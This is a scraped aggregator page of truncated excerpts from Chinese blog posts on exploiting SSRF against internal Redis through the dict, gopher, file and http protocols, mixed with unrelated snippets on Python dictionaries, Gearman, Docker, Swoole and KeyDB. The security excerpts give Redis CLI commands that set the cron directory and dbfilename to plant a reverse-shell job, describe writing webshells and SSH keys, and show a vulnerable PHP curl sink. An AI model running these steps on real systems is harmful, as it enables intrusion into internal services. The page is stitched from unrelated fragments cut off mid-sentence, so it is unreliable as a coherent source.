SSRF之利用dict和gopher吊打Redis】的更多相关文章

SSRF之利用dict和gopher吊打Redis 写在前面 SSRF打Redis也是老生常谈的东西了,这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章,主要是对webshell和sshkey的写入进行复现,做一点小笔记. 准备环境 centos:有计划任务服务.redis4.x版本 kali:作为攻击机,模拟vps 物理机:phpstudy+ssrf.php redis4.x下载 wget http://download.redis.io/rele…
摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到6379端口,那么可以利用http.gopher.dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上. 一.进行内网探测 利用http协议对内…
0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0x02 实验环境 存在SSRF漏洞的靶机:192.168.220.143 被攻击的内网系统A:192.168.220.139  (web服务器) SSRF漏洞存在于页面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代码如下: <?php /…
1. SSRF介绍 SSRF(Server-side Request Forge, 服务端请求伪造). 由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务. 2. SSRF的危害 1. 扫内网 2. 向内部任意主机的任意端口发送精心构造的Payload 3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always) 4. 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如 struts2,sqli等) 5. 利用file协议读取本地文件…
    0x00实验环境 1.centos靶机(IP为:192.168.11.205,桥接模式) 2.kali黑客攻击主机(IP为:192.168.172.129,NAT模式) 0x01实验原理 这段payload的作用我们先说明一下,其作用是在靶机的/var/spool/cron临时目录下,利用ssrf漏洞写入黑客的redis数据库的操作,这样,黑客可以通过自己写入的redis数据库直接运行后获取靶机的shell 0x02实验步骤 (1)在centos靶机内部部署:  注意:这里面的192.1…
pytho本身并未提供switch语句,但可以通过dict来模拟switch, #方法1 def add(x,y): return x+y def dec(x,y): return x-y def multi(x,y): return x*y def div(x,y): return x/y operater = {'+':add,'-':dec,'*':multi,'/':div} def calculator(x,o,y): return operater.get(o)(x,y) #方法2…
'''利用字典实现登录'''users=[{'username':'jerry','pwd':'123456'},{'username':'tom','pwd':'1'}] def login(username,pwd): print(username,pwd) if(username==''or pwd==''): return 0 else: isbool=True for dict1 in users: if (dict1['username']==username and dict1['…
Python本身并不提供Switch的语法功能,为了能够解决类似switch分支需求的问题,我们可以使用字典代替实现. 解决思路: 利用字典取值的get方法的容错性,处理switch语句中的default情况 设置字典的vlaue为对应方法名,来代替switch语句中的代码块 为不同key设置相同的value,模拟switch中穿透 def taskForSunday(): print("今天休息") def taskForRest(): print("今天休息")…
在推荐系统中,推荐候选集格式一般是,itemid itemid_list.要把itemid作为key,推荐列表作为value批量插入到redis. 比如文件cf.data为: cf_763500210 342900215:0.210596124675,372400335:0.209455077845,663500334:0.0450228848833,771300304:0.303416465385 cf_4272909287 0197309320:1.0,1977309242:1.0,2171…
一.Gearman 1.Gearman是一个分发任务的程序框架. 2.体系:a.client:发送一个jobb.server:找到合适的worker,把job交给该workerc.worker:处理job 二.安装Gearmand服务 1.Gearman a.官网http://gearman.org/ b.官网下载:https://launchpad.net/gearmand 2.安装依赖库 # yum install -y boost boost-devel gperf libevent-de…
1.首先我们来编写一个基本的Dockerfile 在任意一个目录下 $ vi Dockerfile 内容填写如下: FROM ubuntu:14.04RUN apt-get updateRUN apt-get -y install redis-serverEXPOSE 6379ENTRYPOINT ["/usr/bin/redis-server"] 2.构建并运行容器 在编写完Dockerfile之后,我们就可以运行一下命令来构建一个镜像: $ sudo docker build -t…
<?php #注意:如果不开启兼容模式,会遇到这样的现象,用swoole协程的方法访问常规方法添加到redis中的数据,可能访问不到(直接返回NULL)!这可能是两者采用了不同的技术标准所致! go(function (){ $redis = new Swoole\Coroutine\Redis(); $redis->connect(); $val = $redis->,'expertin'=>['泰拳','巴西柔术']]));#同样是hmset,常规方法第2个参数是混合类型 );…
Java技术栈 www.javastack.cn 优秀的Java技术公众号 今天给大家介绍的是KeyDB,KeyDB项目是从redis fork出来的分支.众所周知redis是一个单线程的kv内存存储系统,而KeyDB在100%兼容redis API的情况下将redis改造成多线程. 上次也跟大家说了,redis多线程正式版将在今年底发布,大家拭目以待. 线程模型 KeyDB将redis原来的主线程拆分成了主线程和worker线程.每个worker线程都是io线程,负责监听端口,accept请求…
转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 漏洞产生 以curl为例,漏洞代码为ssrf.php <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_s…
Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C语言编写.遵守BSD协议.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API. 它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类…
参考文章 SSRF漏洞(原理&绕过姿势) SSRF绕过方法总结 SSRF绕过IP限制方法总结 Tag: #SSRF Ref: 概述 总结 利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务. 一.漏洞介绍 SSRF(Server-Side Request Forgery:服务器端请求伪造) 二.漏洞原理 由于服务端提供了从其他服务器应用获取资源的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据. 数据流:攻击者-…
0x00 引言 当SSRF打内网reids时,若gopher协议用不了,我们也可以用其他协议 0x01 dict协议一.定义:词典网络协议,在RFC 2009中进行描述.它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典.Dict服务器和客户机使用TCP端口2628.(摘自百度百科)二.学习参考链接:使用 dictd 搭建 DICT 字典服务器DICT协议全文三.DICT协议在SSRF漏洞中使用在SSRF利用中,gopher协议无疑是最好用的,但gopher协议…
    还是天枢的一道CTF题,启程!       分析题目,自己注册账户并登陆后,提示输入一个url,网站会自己运行查找网页信息.     emmmmm,很挑衅,网站就当作服务器,我们在url框中输入一个伪造的执行代码,让他运行获取到机密信息,哼哼.这就是SSRF(服务端请求伪造),伪造的代码留给服务端自己执行并返回我们需要的机密信息.     在里面乱输入了一些东西,没有任何反馈.此时,我们就要扫描网站啊.   1.扫描网站+分析robots.txt     使用御剑扫描网站.眼尖得很,看到…
如果需要大佬写好的脚本,可以直接去github上面搜 参考文章:https://zhuanlan.zhihu.com/p/112055947 https://www.cnblogs.com/Konmu/p/12984891.html https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ 1.什么是gopher协议?2.如何使用gopher协议反弹shell?3.在SSRF中如何使用gopher协议反弹shell? Gopher 协议可以说是SSRF中…
1.什么是gopher协议?2.如何使用gopher协议反弹shell?3.在SSRF中如何使用gopher协议反弹shell? 一.什么是gopher协议?定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处.在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口.但在WWW出现后,Gopher失去了昔日的辉煌.现在它基…
介绍SSRF漏洞 SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞.一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统). SSRF漏洞原理 SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制.例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端…
大部分web应用都提供了从其他的服务器上获取数据的功能,如使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.如果服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,就可以可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器.这种形式的攻击称为服务端请求伪造攻击SSRF. SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无…
SSRF 关于SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造),攻击者通过伪造服务器端发起的请求,获取客户端所不能得到的数据.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统. SSRF危害 产生反射型 XSS 通过 url scheme (file:///, dict://, ftp://, gopher:// ...) 读取内部资源或者让服务执行相应的动作 扫描内部网络和端口 如果运行在云实例上,可以尝试获取 META-DATA SSRF…
前言 昨天忘了在公众号还是微博上看到的了,看到一个SSRF绕过的技巧,使用的是 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 绕过的,自己也没遇到过.然后想想自己对SSRF绕过还是停留在之前的了解,也没学习过新的绕过方法,所以特意找了找资料,学习学习最新黑科技,充充能. 0x00 SSRF是什么 能精简的就不扯淡,一句话就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务. 0x01 SSRF能干什么 探测内网信息 攻击内网或本地其他服务 穿透防火墙 ... 0x02 SSRF怎么找 能够对外发起网络请求的…
SSRF(Server-Side Request Forgery, 服务端请求伪造),攻击者伪造服务端发起的请求并执行,从而获得一些数据或进行攻击 一.危害 1.对内网的端口和服务进行扫描,对主机本地的一些敏感信息获取 2.利用一些应用漏洞和一些协议进行攻击 二.常见容易造成漏洞的php函数以及利用 1.file_get_contents()2.fsockopen()3.curl_exec() 逐一简单的测试一下 1.file_get_content()  函数把整个文件读入一个字符串中. 测试…
ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求.ssrf漏洞的危害可以通过ssrf漏洞可以对内网或本地机器进行主机发现,服务版本探测或者针对内网或本地一些薄弱的应用进行攻击,同时利用ssrf漏洞还可以时服务器主动发起请求,从而做为一个攻击跳板或者绕过CDN找到其服务器的真实ip file_get_contents(),fsockopen(),curl_exec()…
discuz 3.x版本ssrf漏洞分析 漏洞促发点\souce\module\forum\forum_ajax.php 最后看到了这里 ***$_GET['action']='downremoteimg'*** 看名字看出应该是个远程下载图片的功能. $_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n&qu…
简介:SSRF 服务器端请求伪造,有的大型网站在web应用上提供了从其他服务器获取数据的功能.使用户指定的URL web应用获取图片,下载文件,读取文件内容.通常用于控制web进而探测内网服务以及攻击内网脆弱应用 即当作跳板机,可作为ssrfsocks代理 漏洞危害 内外网的端口和服务扫描 主机本地敏感数据的读取 内外网主机应用程序漏洞的利用 内外网Web站点漏洞的利用 漏洞产生 由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制. 本地测试 假设服务器Web应用存在…
自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于是现在学习一下. 我这里面是以php里面的curl为例子来学习的. 漏洞代码如下 <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATIO…
自己眼中的SSRF 成因 服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等) 一SSRF配合redis未授权访问 redis-cli -h $ flushall echo -e -x redis-cli -h $ config set dir /var/spool/cron/ redis-cli -h $ config set dbfilename root redis-cli -h $ save 利用…